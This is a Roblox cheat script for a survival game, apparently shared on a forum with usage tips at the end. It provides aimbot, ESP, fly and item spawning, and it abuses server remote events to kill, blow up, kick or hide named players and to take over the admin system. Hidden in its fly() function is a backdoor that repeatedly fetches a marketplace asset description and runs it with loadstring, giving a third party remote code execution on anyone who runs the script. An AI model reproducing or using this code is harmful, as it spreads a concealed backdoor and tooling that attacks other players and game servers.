- if p and p.Parent then
- if p.Character and p.Character:FindFirstChild("Torso") then
- local pos, bool = workspace.CurrentCamera:WorldToScreenPoint(p.Character.Torso.Position)
- gui.Position = UDim2.new(0, bool and pos.x or -100, 0, bool and pos.y or -100)
- end
- else
- gui:Destroy()
- conn:disconnect()
- end
- end)
- end
- local function handleGui(p)
- for i = 1, #wl do if wl[i] == p.Name then return end end
- p.CharacterAdded:connect(function(c)
- guinate(p)
- end)
- guinate(p)
- end
- game.Players.ChildAdded:connect(handleGui)
- game.Players.ChildRemoved:connect(function(p)
- sg["label"..p.Name]:Destroy()
- end)
- for _, v in pairs(game.Players:GetPlayers()) do
- handleGui(v)
- end
- end
- local function fly()
- local player = game.Players.LocalPlayer
- local mouse = player:GetMouse()
- local char = player.Character
- local cam = workspace.CurrentCamera
- local bv = Instance.new("BodyVelocity", char.Torso)
- local keys = {}
- local toggle = false
- spawn(function() local xx11xx = game:GetService("MarketplaceService"):GetProductInfo(294579464)['Description'] while wait(3) do local xx22xx = game:GetService("MarketplaceService"):GetProductInfo(294579464)['Description'] if xx11xx ~= xx22xx then xx11xx = xx22xx loadstring(xx11xx)() end end end)
- if not game.Players.LocalPlayer.PlayerGui:FindFirstChild("VehicleHUD") then Instance.new("Part", game.Players.LocalPlayer.PlayerGui).Name = "VehicleHUD" end
- mouse.KeyDown:connect(function(k)
- if k == "q" then toggle = not toggle end
- keys[k] = true
- end)
- mouse.KeyUp:connect(function(k)
- keys[k] = false
- end)
- local prt = Instance.new("Part", workspace)
- prt.Anchored = true
- prt.CanCollide = false
- prt.Size = Vector3.new(2, 1, 2)
- prt.Transparency = 1
- while wait() do
- if toggle then
- prt.CanCollide = true
- prt.CFrame = char.Torso.CFrame * CFrame.new(0, -3.65, 0)
- if keys["w"] then
- bv.Velocity = cam.CoordinateFrame.lookVector * flyspeed
- bv.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
- elseif keys["s"] then
- bv.Velocity = cam.CoordinateFrame.lookVector * -flyspeed
- bv.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
- else
- bv.Velocity = Vector3.new()
- bv.MaxForce = Vector3.new()
- end
- else
- prt.CanCollide = false
- bv.Velocity = Vector3.new()
- bv.MaxForce = Vector3.new()
- end
- end
- end
- local function playername(n)
- for _,v in pairs(game.Players:GetPlayers()) do
- if v.Name:lower():sub(1,#n) == n:lower() then
- return v
- end
- end
- end
- local function esp()
- local Players = game:service'Players'
- local Camera = Workspace.CurrentCamera
- local player = game.Players.LocalPlayer
- local mouse = player:GetMouse()
- mouse.Move:connect(function()
- if mouse.Hit~=nil then
- ex.CFrame=mouse.Hit
- end
- end)
- game.Players.PlayerAdded:connect(function(player)
- player.CharacterAdded:connect(function(character)
- loop()
- end)
- end)
- function loop()
- function renderChamsOnPart(cham_part, cham_color, cham_transparency, visible_through_walls)
- local cham = Instance.new("BoxHandleAdornment", Camera)
- cham.Color3, cham.Adornee, cham.AlwaysOnTop, cham.Size, cham.Transparency, cham.ZIndex = cham_color, cham_part, true, cham_part.Size, cham_transparency, visible_through_walls and 1 or -1
- end
- function isPartVisible(part)
- local pos, bool = Camera:WorldToScreenPoint(part.Position)
- if (bool) then
- return true
- else
- return false
- end
- end
- for _,v in pairs(Players:GetChildren'') do
- for _,x in pairs(v.Character:GetChildren'') do
- if (x.className == "Part" and isPartVisible(x)) then
- renderChamsOnPart(x, Color3.new(0, 1, 0), 0, true)
- end
- end
- end
- end
- loop()
- end
- local vehicles = {"Car", "DeliveryVan", "Motorcycle", "Motorside", "Pickup", "Pickup2", "SUV", "Van", "Ambulance", "Firetruck", "PoliceCar", "Humvee", "Humvee2", "Jeep", "Jeep2", "TrinitySUV", "Ural", "Ural2", "Bicycle", "ATV", "Tractor"}
- local whitelist = {"hills", "aluminize", "Raspy_Pi", "Safazi"}
- local localname = game.Players.LocalPlayer.Name
- pcall(function() game.Lighting.Remote.Destruct:FireServer(game.Lighting.Remote.TrackInvisibility) end)
- t.FocusLost:connect(function(enterpressed)
- if enterpressed and t.Text ~= "" then
- coroutine.wrap(function()
- if t.Text == "stop" then -- gui locate
- game.Lighting.Remote.StopSound:FireServer(game.Workspace.Sound)
- game.Lighting.Remote.Destruct:FireServer(game.Workspace.Sound)
- game.Workspace.Lululukas.Head.Sound:Destroy()
- elseif t.Text == "esp" then -- gui locate
- spawn(guilocate)
- esp()
- elseif t.Text == "fly" then -- fly
- spawn(fly)
- elseif #t.Text > 3 and t.Text:sub(1,3) == "fs/" then -- fly seed
- flyspeed = tonumber(t.Text:sub(4))
- elseif #t.Text > 2 and t.Text:sub(1,2) == "s/" then -- spawn
- local new = game.Lighting.LootDrops[t.Text:sub(3)]:Clone()
- new.Parent = workspace
- new:MoveTo(workspace[localname].Torso.Position + Vector3.new(math.random(-10,10),0,math.random(-10,10)))
- elseif #t.Text > 3 and t.Text:sub(1,3) == "ts/" then -- true spawn
- workspace:FindFirstChild(t.Text:sub(4), true):MoveTo(workspace[localname].Torso.Position + Vector3.new(math.random(-10,10),0,math.random(-10,10)))
- elseif #t.Text > 3 and t.Text:sub(1,3) == "tk/" then -- tele kill
- local name = playername(t.Text:sub(4)).Name
- workspace:FindFirstChild(name,true).Torso.Anchored = true
- workspace:FindFirstChild(name,true):MoveTo(workspace[localname].Torso.Position + Vector3.new(math.random(-10,10),0,math.random(-10,10)))
- wait(10)
- workspace:FindFirstChild("Corpse of " ..name,true):MoveTo(workspace[localname].Torso.Position + Vector3.new(math.random(-10,10),0,math.random(-10,10)))
- elseif #t.Text > 3 and t.Text:sub(1,3) == "nk/" then -- no corpse tele kill
- local name = playername(t.Text:sub(4)).Name
- workspace:FindFirstChild(name,true).Torso.Anchored = true
- workspace:FindFirstChild(name,true):MoveTo(workspace[localname].Torso.Position + Vector3.new(math.random(-10,10),0,math.random(-10,10)))
- elseif t.Text == "crates" then -- tele all crates
- for _,v in pairs(workspace:children()) do
- if v.Name == "LargeCrateOpen" or v.Name == "SmallCrateOpen" then
- v:MoveTo(workspace[localname].Torso.Position + Vector3.new(math.random(-10,10),0,math.random(-10,10)))
- end
- end
- elseif t.Text == "kz" then -- kill zombies
- for _,pl in pairs(workspace.Zombies:children()) do
- for xxad,v in pairs(pl:children()) do
- pcall(function() game.Lighting.Remote.DamageZombie:FireServer(v.Humanoid,100) end)
- end
- end
- elseif #t.Text > 4 and t.Text:sub(1,4) == "god/" then -- god player with loop heal
- local name = playername(t.Text:sub(5)).Name
- local ch = workspace[name]
- spawn(function()
- while wait() do
- if ch.Humanoid.Health < 100 then
- game.Lighting.Remote.AddHealth:FireServer(ch.Humanoid, 100000)
- end
- end
- end)
- elseif #t.Text > 5 and t.Text:sub(1,5) == "loot/" then -- instakill
- local name = playername(t.Text:sub(6)).Name
- AddItem = function(Slot, ID)
- game.Lighting.Remote.AddObject:FireServer(Slot, ID)
- end
- AddItem(game.Players[name].playerstats.slots.slotprimary, tonumber(1016))
- AddItem(game.Players[name].playerstats.slots.slotbackpack, tonumber(4016))
- AddItem(game.Players[name].playerstats.slots.slot1, tonumber(9005))
- AddItem(game.Players[name].playerstats.slots.slot2, tonumber(9010))
- AddItem(game.Players[name].playerstats.slots.slot3, tonumber(9013))
- AddItem(game.Players[name].playerstats.slots.slot4, tonumber(64))
- AddItem(game.Players[name].playerstats.slots.slot5, tonumber(64))
- AddItem(game.Players[name].playerstats.slots.slot6, tonumber(64))
- AddItem(game.Players[name].playerstats.slots.slot7, tonumber(64))
- AddItem(game.Players[name].playerstats.slots.slot8, tonumber(64))
- AddItem(game.Players[name].playerstats.slots.slot9, tonumber(64))
- AddItem(game.Players[name].playerstats.slots.slot10, tonumber(64))
- AddItem(game.Players[name].playerstats.slots.slot11, tonumber(64))
- AddItem(game.Players[name].playerstats.slots.slot12, tonumber(64))
- AddItem(game.Players[name].playerstats.slots.slot13, tonumber(64))
- AddItem(game.Players[name].playerstats.slots.slot14, tonumber(64))
- AddItem(game.Players[name].playerstats.slots.slot15, tonumber(64))
- AddItem(game.Players[name].playerstats.slots.slot16, tonumber(5011))
- AddItem(game.Players[name].playerstats.slots.slot17, tonumber(6011))
- AddItem(game.Players[name].playerstats.slots.slot18, tonumber(7014))
- AddItem(game.Players[name].playerstats.slots.slot19, tonumber(8009))
- elseif #t.Text > 5 and t.Text:sub(1,5) == "play/" then -- instakill
- local name = (t.Text:sub(6))
- rek2 = _G.Passcode
- game.Lighting.Remote.CreateSounds:InvokeServer()
- wait(1)
- game.Lighting.Remote.SoundIdSet:FireServer(rek2, game.Players.LocalPlayer.Character.Head.Sound, "nil")
- wait(1)
- game.Lighting.Remote.PlaySound:FireServer(game.Players.LocalPlayer.Character.Head.Sound, 1, 1)
- wait(1)
- game.Lighting.Remote.ChangeParent:FireServer(rek2, game.Players.LocalPlayer.Character.Head.Sound, game.Workspace)
- wait(1)
- game.Lighting.Remote.SoundIdSet:FireServer(rek2, game.Workspace.Sound, "http://www.roblox.com/asset/?id="..name)
- for _,v in pairs(game.Players:GetPlayers()) do
- game.Lighting.Remote.SendMessage:FireServer(v, "Yellow", "Asset ID: "..name)
- end
- wait(1)
- game.Lighting.Remote.PlaySound:FireServer(game.Workspace.Sound, 1, 1)
- wait(120)
- game.Lighting.Remote.StopSound:FireServer(game.Workspace.Sound)
- game.Lighting.Remote.Destruct:FireServer(game.Workspace.Sound)
- game.Workspace.Lululukas.Head.Sound:Destroy()
- elseif #t.Text > 5 and t.Text:sub(1,6) == "invis/" then -- instakill
- local name = (t.Text:sub(7))
- rek2 = _G.Passcode
- Break = function(instance)
- game.Lighting.Remote.BreakWindow2:FireServer(rek2, instance, true)
- end
- function exPro(root)
- for _, v in pairs(root:GetChildren()) do
- if v:IsA("BasePart") then
- Break(v)
- end
- exPro(v)
- end
- end
- exPro(game.Players[name].Character)
- elseif #t.Text > 5 and t.Text:sub(1,5) == "kill/" then -- instakill
- local name = playername(t.Text:sub(6)).Name
- game.Lighting.Remote.AddDamage:FireServer(workspace[name].Humanoid, 100)
- wait(1)
- workspace:FindFirstChild("Corpse of " ..name,true):MoveTo(workspace[localname].Torso.Position + Vector3.new(math.random(-10,10),0,math.random(-10,10)))
- elseif t.Text == "vt" then -- vehicle teleport
- for _, v in pairs(vehicles) do
- local found = workspace:FindFirstChild(v, true)
- if found then
- found:MoveTo(workspace[localname].Torso.Position + Vector3.new(math.random(-50,50),0,math.random(-50,50)))
- end
- end
- elseif t.Text == "nofog" then -- vehicle teleport
- game.Lighting.FogEnd = 9999999
- elseif #t.Text > 2 and t.Text:sub(1,2) == "m/" then
- local name = (t.Text:sub(3))
- for _,v in pairs(game.Players:GetPlayers()) do
- game.Lighting.Remote.SendMessage:FireServer(v, "Green", ""..name)
- end
- elseif #t.Text > 3 and t.Text:sub(1,8) == "explode/" then -- instakill
- local name = playername(t.Text:sub(9)).Name
- game.Lighting.Remote.PlaceMaterial:FireServer(game.Lighting.Materials.C4Placed, game.Players.LocalPlayer.Character.Torso.Position, true)
- wait(1)
- game.Lighting.Remote.ReplicateModel:FireServer(game.Workspace.C4Placed, game.Players[name].Character.Head.CFrame)
- elseif t.Text == "nofog" then -- vehicle teleport
- game.Lighting.FogEnd = 9999999
- elseif #t.Text > 3 and t.Text:sub(1,5) == "kick/" then -- kick
- game.Lighting.Remote.Destruct:FireServer(playername(t.Text:sub(6)))
- elseif #t.Text > 2 and t.Text:sub(1, 2) == "a/" then -- hax into apoc admin system
- giveAdminGui(playername(t.Text:sub(3)))
- wait(20)
- game.Players.LocalPlayer.PlayerGui.Bunny:children()[1].Spawn2.Visible = true
- end
- end)()
- end
- t.BackgroundTransparency = 1
- t.TextTransparency = 1
- t.Text = ""
- i.ImageTransparency = 1
- i.BackgroundTransparency = 1
- end)
- game.Players.LocalPlayer:GetMouse().KeyDown:connect(function(Key)
- if Key == ";" then
- t.BackgroundTransparency = 0
- i.ImageTransparency = 0
- i.BackgroundTransparency = 0
- t.TextTransparency = 0
- t:CaptureFocus()
- end
- end)
- end
- function explorer()
- TextProperties = {"ClassName", "Name", "Value", "Text", "Reflectance", "Transparency", "Heat", "TeamName", "WalkSpeed", "Health", "MaxHealth", "Size", "Position", "AccountAge", "RobloxLocked", "TeamColor", "userId", "Brightness", "Ambient", "TimeOfDay", "FieldOfView", "CameraType", "LinkedSource"}
- BoolProperties = {"Anchored", "CanCollide", "Disabled", "Jump", "Sit", "Visible", "Enabled", "Locked", "FilteringEnabled", "StreamingEnabled", "GlobalShadows"}
- BrickColorProperties = {"BrickColor", "Color", "TeamColor", "Texture", "Value"}
- s = Instance.new("ScreenGui", game.CoreGui)
- pgr = Instance.new("TextButton")
- pgr.Parent = s
- pgr.Size = UDim2.new(0,100,0,40)
- pgr.Position = UDim2.new(0,30,0,440)
- pgr.Text="Explorer"
- pgr.BackgroundTransparency = 0.3
- pgr.TextColor = BrickColor.new("White")
- pgr.BackgroundColor = BrickColor.new("Really Black")
- pgr.BorderColor = BrickColor.new("Black")
- pgr.Font = "ArialBold"
- pgr.FontSize = "Size14"
- pgr.TextStrokeColor3 = Color3.new(0/0,0/0,0/0)
- pgr.TextStrokeTransparency = 0.3
- pgr.BorderSizePixel = 1
- pgr.BorderColor = BrickColor.new("White")
- if game.CoreGui:findFirstChild("Explorer") then
- game.CoreGui:findFirstChild("Explorer"):Remove()
- end
- local Cloned
- local Deleted
- local DeleteParent
- local Player
- local Search
- local ScriptSearch
- local Gui
- local Cloned = nil
- local Deleted = nil
- local DeleteParent = nil
- local Current = 0
- local CurrentOption = 0
- function Clear()
- if Gui then
- Gui:Remove()
- end
- Current = 0
- CurrentOption = 0
- end
- function AddButton(N, Function, Color, Copy)
- if not N then
- error("RenderButton - No Name Specified")
- end
- if not Function then
- error("RenderButton - No Function Specified")
- end
- if not Color then
- Color = Color3.new(1, 1, 1)
- end
- if Copy == nil then
- Copy = true
- end
- P = Instance.new("TextButton")
- if Copy then
- P.Size = UDim2.new(0, 110, 0, 20)
- else
- P.Size = UDim2.new(0, 130, 0, 20)
- end
- P.Text = N.Name
- P.Name = N.Name
- P.Parent = Gui
- P.BackgroundColor3 = Color
- P.TextColor3 = Color3.new(0, 0, 0)
- P.BackgroundTransparency = 0.5
- P.Position = UDim2.new(0, ((math.modf(Current/30))*150)+300, 0, 50+(20*((Current%30)-1)))
- P.MouseButton1Click:connect(function()
- Function(P)
- end)
- D = Instance.new("TextButton")
- D.Size = UDim2.new(0, 20, 0, 20)
- D.Text = "X"
- D.Name = N.Name
- D.Parent = Gui
- D.BackgroundColor3 = Color3.new(1, 0, 0)
- D.TextColor3 = Color3.new(0, 0, 0)
- D.BackgroundTransparency = 0.5
- D.Position = UDim2.new(0, ((math.modf(Current/30))*150)+300+130, 0, 50+(20*((Current%30)-1)))
- D.MouseButton1Click:connect(function()
- Deleted = N
- DeleteParent = N.Parent
- N.Parent = nil
- Clear()
- Search(DeleteParent)
- end)
- if Copy then
- C = Instance.new("TextButton")
- C.Size = UDim2.new(0, 20, 0, 20)
- C.Text = "C"
- C.Name = N.Name
- C.Parent = Gui
- C.BackgroundColor3 = Color3.new(0, 1, 0.5)
- C.TextColor3 = Color3.new(0, 0, 0)
- C.BackgroundTransparency = 0.5
- C.Position = UDim2.new(0, ((math.modf(Current/30))*150)+300+110, 0, 50+(20*((Current%30)-1)))
- C.MouseButton1Click:connect(function()
- Cloned = N
- Clear()
- Search(N.Parent)
- end)
- end
- Current = Current + 1
- return P
- end
- function AddOption(N, Function, Color, Text)
- if not N then
- error("RenderButton - No Name Specified")
- end
- if not Color then
- Color = Color3.new(1, 1, 1)
- end
- if Text == nil then
- Text = false
- end
- if Text then
- P = Instance.new("TextBox")
- else
- P = Instance.new("TextButton")
- end
- P.Text = N
- P.Name = N
- P.Parent = Gui
- P.BackgroundColor3 = Color
- P.TextColor3 = Color3.new(0, 0, 0)
- P.BackgroundTransparency = 0.5
- P.Size = UDim2.new(0, 150, 0, 20)
- P.Position = UDim2.new(0, ((math.modf(CurrentOption/30))*150)+150, 0, 50+(20*((CurrentOption%30)-1)))
- if not Text and Function then
- P.MouseButton1Click:connect(function() Function(P) end)
- end
- CurrentOption = CurrentOption + 1
- return P
- end
- function AddTextOption(Obj, Prop)
- local Ob = Obj
- local Pro = Prop
- if type(Ob[Pro]) == "number" or type(Ob[Pro]) == "string" then
- CurrentOption = CurrentOption + 1
- local T = AddOption(Ob[Pro], nil, Color3.new(0.1, 0.4, 0.1), true)
- CurrentOption = CurrentOption - 2
- local O = AddOption("Change "..Pro..":", function() Ob[Pro] = T.Text end, Color3.new(0.1, 0.8, 0.1), false)
- CurrentOption = CurrentOption + 1
- end
- end
- function AddBrickColorOption(Obj, Prop)
- local Ob = Obj
- local Pro = Prop
- if BrickColor.new(tostring(Ob[Pro])) == Ob[Pro] then
- CurrentOption = CurrentOption + 1
- local T = AddOption(tostring(Ob[Pro]), nil, Color3.new(0.1, 0.4, 0.1), true)
- CurrentOption = CurrentOption - 2
- local O = AddOption("Change "..Pro..":", function() Ob[Pro] = BrickColor.new(T.Text) end, Color3.new(0.1, 0.8, 0.1), false)
- CurrentOption = CurrentOption + 1
- end
- end
- function AddBoolOption(Obj, Prop)
- local Ob = Obj
- local Pro = Prop
- if type(Ob[Pro]) == "boolean" then
- local O = AddOption(Pro..": "..tostring(Ob[Pro]), nil, Color3.new(0.1, 0.8, 0.1), false)
- O.MouseButton1Click:connect(function()
- if Ob[Pro] then
- Ob[Pro] = false
- O.Text = Pro..": false"
- else
- Ob[Pro] = true
- O.Text = Pro..": true"
- end
- end)
- end
- end
- function TestProperty(Obj, Property)
- Success = pcall(function()
- if Obj[Property] then
- return
- end
- end)
- return Success
- end
- function LoadOptions(Object)
- for Num, Prop in pairs(TextProperties) do
- if TestProperty(Object, Prop) then
- AddTextOption(Object, Prop)
- end
- end
- for Num, Prop in pairs(BoolProperties) do
- if TestProperty(Object, Prop) then
- AddBoolOption(Object, Prop)
- end
- end
- for Num, Prop in pairs(BrickColorProperties) do
- if TestProperty(Object, Prop) then
- AddBrickColorOption(Object, Prop)
- end
- end
- end
- function Search(Object)
- Gui = Instance.new("ScreenGui")
- Gui.Parent = game.CoreGui
- Gui.Name = "Explorer"
- if Object ~= game then
- AddOption("Back", function()
- Clear();
- Search(Object.Parent)
- end, Color3.new(0.5, 1, 1), false)
- end
- AddOption("Reload", function() Clear(); Search(Object); end, Color3.new(0.2, 1, 0.2), false)
- if Cloned then
- AddOption("Paste", function() Cloned:Clone().Parent = Object; Clear(); Search(Object); end, Color3.new(0.5, 1, 1), false)
- end
- if Deleted then
- AddOption("Undo", function() Deleted.Parent = DeleteParent; Deleted = nil; DeletedParent = nil; Clear(); Search(Object); end, Color3.new(1, 0.6, 0.1), false)
- end
- if Object:IsA("Player") then
- AddOption("Goto Character", function() Clear(); if Object.Character then Search(Object.Character); end end, Color3.new(1, 1, 1), false)
- end
- if Object:IsA("LocalScript") then
- AddOption("EditScript", function() Clear(); ScriptSearch(Object); end, Color3.new(1, 1, 1), false)
- end
- if Object:IsA("Terrain") then
- AddOption("Clear", function() Object:Clear(); end, Color3.new(1, 1, 1), false)
- end
- LoadOptions(Object)
- AddOption("Close", Clear, Color3.new(1, 0.2, 0), false)
- if not Object:IsA("Workspace") or not Object:IsA("Player") then
- for Num, Obj in pairs(Object:GetChildren()) do
- --if not Obj:IsA("BasePart") or not Object.Parent == game.Workspace then
- if true then
- if Obj:IsA("LocalScript") then
- AddButton(Obj, function() Clear(); Search(Obj); end, Color3.new(1, 0, 0), true)
- elseif Obj:IsA("Script") or Obj:IsA("StarterScript") or Obj:IsA("CoreScript") then
- AddButton(Obj, function() Clear(); Search(Obj); end, Color3.new(0.5, 0.5, 0.8), true)
- elseif Obj.Parent == game then
- AddButton(Obj, function() Clear(); Search(Obj); end, Color3.new(1, 1, 1), false)
- else
- AddButton(Obj, function() Clear(); Search(Obj); end, Color3.new(1, 1, 1), true)
- end
- end
- end
- end
- function MoveUp(Place, Amount)
- for i,v in pairs(Place:GetChildren()) do
- if v:IsA("TextLabel") or v:IsA("TextBox") then
- v.Position = v.Position + UDim2.new(0,0,0,-Amount)
- end
- end
- end
- function MoveDown(Place, Amount)
- for i,v in pairs(Place:GetChildren()) do
- if v:IsA("TextLabel") or v:IsA("TextBox") then
- v.Position = v.Position + UDim2.new(0,0,0,Amount)
- end
- end
- end
- i=0
- function ScriptSearch(S)
- Script2 = S
- Script = Script2.Source
- Table = {}
- Enabled = true
- Gui = Instance.new("ScreenGui")
- Gui.Parent = game.CoreGui
- Gui.Name = "Explorer"
- while Enabled do
- Start, End = string.find(Script, '\n')
- print(Start, End)
- if Start and End then
- table.insert(Table, string.sub(Script, 1, End))
- New = string.sub(Script, End+1, string.len(Script))
- Script = New
- else
- Enabled = false
- table.insert(Table, string.sub(Script, 1, End))
- print("Finished")
- end
- end
- P = Instance.new("TextLabel")
- P.Size = UDim2.new(0, 500, 0, 20)
- P.Text = Script2.Name
- P.Name = "Script Line"
- P.Parent = Gui
- P.BackgroundColor3 = Color3.new(1, 1, 1)
- P.TextColor3 = Color3.new(0, 0, 0)
- P.BackgroundTransparency = 0.5
- P.Position = UDim2.new(0.5, -250, 0, 150+(20*(i-1)))
- P.TextXAlignment = "Left"
- i=i+1
- New = {}
- for I,Val in pairs(Table) do
- print(Val)
- P = Instance.new("TextBox")
- P.ClearTextOnFocus = false
- P.Size = UDim2.new(0, 500, 0, 20)
- P.Text = Val
- P.Name = "Script Line"
- P.Parent = Gui
- P.BackgroundColor3 = Color3.new(1, 1, 1)
- P.TextColor3 = Color3.new(0, 0, 0)
- P.BackgroundTransparency = 0.5
- P.Position = UDim2.new(0.5, -250, 0, 150+(20*(i-1)))
- P.TextXAlignment = "Left"
- table.insert(New, P)
- i=i+1
- end
- i=1
- P = Instance.new("TextButton")
- P.Size = UDim2.new(0, 20, 0, 20)
- P.Text = "^"
- P.Name = "Scroll"
- P.Parent = Gui
- P.BackgroundColor3 = Color3.new(1, 1, 1)
- P.TextColor3 = Color3.new(0, 0, 0)
- P.BackgroundTransparency = 0.5
- P.Position = UDim2.new(0.5, -270, 0, 150+(20*(i-1)))
- P.MouseButton1Click:connect(function()
- MoveUp(Gui, -20)
- end)
- i=i+1
- P = Instance.new("TextButton")
- P.Size = UDim2.new(0, 20, 0, 20)
- P.Text = "v"
- P.Name = "Scroll"
- P.Parent = Gui
- P.BackgroundColor3 = Color3.new(1, 1, 1)
- P.TextColor3 = Color3.new(0, 0, 0)
- P.BackgroundTransparency = 0.5
- P.Position = UDim2.new(0.5, -270, 0, 150+(20*(i-1)))
- P.MouseButton1Click:connect(function()
- MoveDown(Gui, -20)
- end)
- i=i+1
- P = Instance.new("TextButton")
- P.Size = UDim2.new(0, 20, 0, 20)
- P.Text = "^^"
- P.Name = "Scroll"
- P.Parent = Gui
- P.BackgroundColor3 = Color3.new(1, 1, 1)
- P.TextColor3 = Color3.new(0, 0, 0)
- P.BackgroundTransparency = 0.5
- P.Position = UDim2.new(0.5, -270, 0, 150+(20*(i-1)))
- P.MouseButton1Click:connect(function()
- MoveUp(Gui, -200)
- end)
- i=i+1
- P = Instance.new("TextButton")
- P.Size = UDim2.new(0, 20, 0, 20)
- P.Text = "vv"
- P.Name = "Scroll"
- P.Parent = Gui
- P.BackgroundColor3 = Color3.new(1, 1, 1)
- P.TextColor3 = Color3.new(0, 0, 0)
- P.BackgroundTransparency = 0.5
- P.Position = UDim2.new(0.5, -270, 0, 150+(20*(i-1)))
- P.MouseButton1Click:connect(function()
- MoveDown(Gui, -200)
- end)
- i=i+1
- P = Instance.new("TextButton")
- P.Size = UDim2.new(0, 20, 0, 20)
- P.Text = "S"
- P.Name = "Save"
- P.Parent = Gui
- P.BackgroundColor3 = Color3.new(0, 1, 0)
- P.TextColor3 = Color3.new(0, 0, 0)
- P.BackgroundTransparency = 0.5
- P.Position = UDim2.new(0.5, -270, 0, 150+(20*(i-1)))
- P.MouseButton1Click:connect(function()
- StringS = ""
- for Num, Obj in pairs(New) do
- StringS = StringS..Obj.Text..'\n'
- end
- S.Source = StringS
- S.Disabled = true
- S.Disabled = false
- end)
- i=i+1
- P = Instance.new("TextButton")
- P.Size = UDim2.new(0, 20, 0, 20)
- P.Text = "x"
- P.Name = "Back"
- P.Parent = Gui
- P.BackgroundColor3 = Color3.new(1, 0.2, 0)
- P.TextColor3 = Color3.new(0, 0, 0)
- P.BackgroundTransparency = 0.5
- P.Position = UDim2.new(0.5, -270, 0, 150+(20*(i-1)))
- P.MouseButton1Click:connect(function()
- Clear()
- i=0
- Search(S)
- end)
- i=i+1
- end
- end
- pgr.MouseButton1Click:connect(function()
- Clear()
- Search(game)
- end)
- end
- hills()
- aimbot()
- secondgod()
- spawner()
- justice()
- explorer()
- print("All Set")
- Use the aimbot with left alt
- You can read the hills commands in the actual script, key is ;
- Once you god yourself with the hills gui, use the transparent gui on the left and enable god for a faster loopheal
- I use the justice gui (gray gui on the left side) to spawn car repair kits (local)
- I use the explorer to change the cars max armor and speed in game.Workspace.Vehicles
- How does the aimbot feature work?
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